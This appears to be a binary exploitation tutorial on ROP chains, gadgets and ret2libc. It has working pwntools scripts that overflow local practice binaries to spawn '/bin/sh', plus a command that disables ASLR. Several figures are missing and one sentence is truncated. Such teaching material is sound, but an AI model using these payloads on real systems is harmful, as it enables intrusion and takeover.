The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way to do what you wish. This often involves passing parameters to functions already present within libc, such as system - if you can find the location of a command, such as cat flag.txt, and then pass it as a parameter to system, it will execute that command and return the output. A more dangerous command is /bin/sh, which when run by system gives the attacker a shell much like the shellcode we used did.

Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them.

32-bit

The program expects the stack to be laid out like this before executing the function:

So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.

Everything after the address of flag() will be part of the stack frame for the next function as it is expected to be there - just instead of using push instructions we just overwrote them manually.

from pwn import *

p = process('./vuln-32')

payload = b'A' * 52            # Padding up to EIP
payload += p32(0x080491c7)     # Address of flag()
payload += p32(0x0)            # Return address - don't care if crashes when done
payload += p32(0xdeadc0de)     # First parameter
payload += p32(0xc0ded00d)     # Second parameter

log.info(p.clean())
p.sendline(payload)
log.info(p.clean())

64-bit

Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers (in this case rdi and rsi as we have two parameters).

We have to fill the registers before the function is called

from pwn import *

p = process('./vuln-64')

POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9


payload = b'A' * 56            # Padding
payload += p64(POP_RDI)        # pop rdi; ret
payload += p64(0xdeadc0de)     # value into rdi -> first param
payload += p64(POP_RSI_R15)    # pop rsi; pop r15; ret
payload += p64(0xc0ded00d)     # value into rsi -> first param
payload += p64(0x0)            # value into r15 -> not important
payload += p64(0x40116f)       # Address of flag()
payload += p64(0x0)

log.info(p.clean())
p.sendline(payload)
log.info(p.clean())

A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.

And that is the entire basis of it - passing /bin/sh as a parameter to system. Doesn't sound too bad, right?

Disabling ASLR

To start with, we are going to disable ASLR. ASLR randomises the location of libc in memory, meaning we cannot (without other steps) work out the location of system and /bin/sh. To understand the general theory, we will start with it disabled.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Manual Exploitation

Getting Libc and its base

Fortunately Linux has a command called ldd for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.

$ ldd vuln-32 
	linux-gate.so.1 (0xf7fd2000)
	libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
	/lib/ld-linux.so.2 (0xf7fd3000)

We need libc.so.6, so the base address of libc is 0xf7dc2000.

Getting the location of system()

To call system, we obviously need its location in memory. We can use the readelf command for this.

$ readelf -s /lib32/libc.so.6 | grep system

1534: 00044f00    55 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.0

The -s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x44f00.

Getting the location of /bin/sh

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.

$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
18c32b /bin/sh

-a tells it to scan the entire file; -t x tells it to output the offset in hex.

32-bit Exploit

from pwn import *

p = process('./vuln-32')

libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b

payload = b'A' * 76         # The padding
payload += p32(system)      # Location of system
payload += p32(0x0)         # return pointer - not important once we get the shell
payload += p32(binsh)       # pointer to command: /bin/sh

p.clean()
p.sendline(payload)
p.interactive()

64-bit Exploit

Repeat the process with the libc linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6).

Note that instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret gadget to put it into the RDI register.

$ ROPgadget --binary vuln-64 | grep rdi

[...]
0x00000000004011cb : pop rdi ; ret

from pwn import *

p = process('./vuln-64')

libc_base = 0x7ffff7de5000
system = libc_base + 0x48e20
binsh = libc_base + 0x18a143

POP_RDI = 0x4011cb

payload = b'A' * 72         # The padding
payload += p64(POP_RDI)     # gadget -> pop rdi; ret
payload += p64(binsh)       # pointer to command: /bin/sh
payload += p64(system)      # Location of system
payload += p64(0x0)         # return pointer - not important once we get the shell

p.clean()
p.sendline(payload)
p.interactive()

Automating with Pwntools

Unsurprisingly, pwntools has a bunch of features that make this much simpler.

# 32-bit
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

libc = elf.libc                        # Simply grab the libc it's running with
libc.address = 0xf7dc2000              # Set base address

system = libc.sym['system']            # Grab location of system
binsh = next(libc.search(b'/bin/sh'))  # grab string location

payload = b'A' * 76         # The padding
payload += p32(system)      # Location of system
payload += p32(0x0)         # return pointer - not important once we get the shell
payload += p32(binsh)       # pointer to command: /bin/sh

p.clean()
p.sendline(payload)
p.interactive()

The 64-bit looks essentially the same.

One Parameter

Source

Let's have a quick look at the source:

Pretty simple.

If we run the 32-bit and 64-bit versions, we get the same output:

Just what we expected.

Analysing 32-bit

Let's open the binary up in radare2 and disassemble it.

If we look closely at the calls to sym.vuln, we see a pattern:

We literally push the parameter to the stack before calling the function. Let's break on sym.vuln.

The first value there is the return pointer that we talked about before - the second, however, is the parameter. This makes sense because the return pointer gets pushed during the call, so it should be at the top of the stack. Now let's disassemble sym.vuln.

Here I'm showing the full output of the command because a lot of it is relevant. radare2 does a great job of detecting local variables - as you can see at the top, there is one called arg_8h. Later this same one is compared to 0xdeadbeef:

Clearly that's our parameter.

So now we know, when there's one parameter, it gets pushed to the stack so that the stack looks like:

Analysing 64-bit

Let's disassemble main again here.

Hohoho, it's different. As we mentioned before, the parameter gets moved to rdi (in the disassembly here it's edi, but edi is just the lower 32 bits of rdi, and the parameter is only 32 bits long, so it says EDI instead). If we break on sym.vuln again we can check rdi with the command

Awesome.

Multiple Parameters

Source

32-bit

We've seen the full disassembly of an almost identical binary, so I'll only isolate the important parts.

It's just as simple - push them in reverse order of how they're passed in. The reverse order becomes helpful when you db sym.vuln and print out the stack.

So it becomes quite clear how more parameters are placed on the stack:

64-bit

So as well as rdi, we also push to rdx and rsi (or, in this case, their lower 32 bits).

Bigger 64-bit values

Just to show that it is in fact ultimately rdi and not edi that is used, I will alter the original one-parameter code to utilise a bigger number:

If you disassemble main, you can see it disassembles to

Gadgets are small snippets of code followed by a ret instruction, e.g. pop rdi; ret. We can manipulate the ret of these gadgets in such a way as to string together a large chain of them to do what we want.

Example

Let's for a minute pretend the stack looks like this during the execution of a pop rdi; ret gadget.

What happens is fairly obvious - 0x10 gets popped into rdi as it is at the top of the stack during the pop rdi. Once the pop occurs, rsp moves:

And since ret is equivalent to pop rip, 0x5655576724 gets moved into rip. Note how the stack is laid out for this.

Utilising Gadgets

When we overwrite the return pointer, we overwrite the value pointed at by rsp. Once that value is popped, it points at the next value at the stack - but wait. We can overwrite the next value in the stack.

Let's say that we want to exploit a binary to jump to a pop rdi; ret gadget, pop 0x100 into rdi then jump to flag(). Let's step-by-step the execution.

On the original ret, which we overwrite the return pointer for, we pop the gadget address in. Now rip moves to point to the gadget, and rsp moves to the next memory address.

rsp moves to the 0x100; rip to the pop rdi. Now when we pop, 0x100 gets moved into rdi.

RSP moves onto the next items on the stack, the address of flag(). The ret is executed and flag() is called.

Summary

Essentially, if the gadget pops values from the stack, simply place those values afterwards (including the pop rip in ret). If we want to pop 0x10 into rdi and then jump to 0x16, our payload would look like this:

Note if you have multiple pop instructions, you can just add more values.

Finding Gadgets

Combine it with grep to look for specific registers.

A small issue you may get when pwning on 64-bit systems is that your exploit works perfectly locally but fails remotely - or even fails when you try to use the provided LIBC version rather than your local one. This arises due to something called stack alignment.

Essentially the . LIBC takes advantage of this and uses to optimise execution; system in particular utilises instructions such as movaps.

That means that if the stack is not 16-byte aligned - that is, RSP is not a multiple of 16 - the ROP chain will fail on system.

The fix is simple - in your ROP chain, before the call to system, place a singular ret gadget:

This works because it will cause RSP to be popped an additional time, pushing it forward by 8 bytes and aligning it.